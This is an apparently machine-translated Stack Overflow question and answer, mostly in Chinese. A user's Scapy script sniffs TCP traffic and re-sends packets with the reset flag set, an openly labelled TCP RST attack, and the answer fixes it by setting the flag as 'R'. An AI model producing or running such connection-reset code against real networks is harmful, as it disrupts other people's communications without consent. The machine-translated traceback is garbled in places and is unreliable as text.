Scapy TCP RST atack

时间:2016-06-05 06:31:52

标签: python tcp scapy

我尝试用Scapy编写TCP RST atack,但我的代码不起作用。请帮我解决问题。

     from scapy.all import *

     def poison(packet):
         packet[TCP].flags='RST'
         sendp(packet)

     sniff(filter='tcp',prn=poison)

我认为flags出现了问题。这是一个错误:

  

追踪(最近的呼叫最后):
  文件" Univer.py",第6行,in           嗅探(滤波器=' TCP',PRN =毒)
  文件" /usr/lib/pymodules/python2.6/scapy/sendrecv.py" ;,第559行,在嗅        r = prn(p)
  文件" Univer.py",第3行,中毒        包[TCP] .flags =' RST'
  File" /usr/lib/pymodules/python2.6/scapy/packet.py" ;,第186行,在   的 SETATTR        self.setfieldval(ATTR,VAL)
  文件" /usr/lib/pymodules/python2.6/scapy/packet.py" ;,第175行,在   setfieldval        self.fields [attr] = any2i(self,val)
  文件" /usr/lib/pymodules/python2.6/scapy/fields.py" ;,第785行,在any2i中        y | = 1<< self.names.index(ⅰ)

     

ValueError:找不到子字符串

1 个答案:

答案 0 :(得分:4)

在Scapy中设置TCP标志的正确方法是使用短(一个字母)形式packet[TCP].flags = 'R'。使用Scapy的当前开发版本,您可以使用ls()

获取接受的标记
>>> ls(TCP, verbose=True)
sport         : ShortEnumField           = (20)
dport        : ShortEnumField           = (80)
seq            : IntField                           = (0)
ack            : IntField                            = (0)
dataofs    : BitField (4 bits)               = (None)
reserved  : BitField (3 bits)               = (0)
flags          : FlagsField (9 bits)          = (2)
               F, S, R, P, A, U, E, C, N
window    : ShortField                        = (8192)
chksum    : XShortField                      = (None)
urgptr       : ShortField                        = (0)
options     : TCPOptionsField            = ({})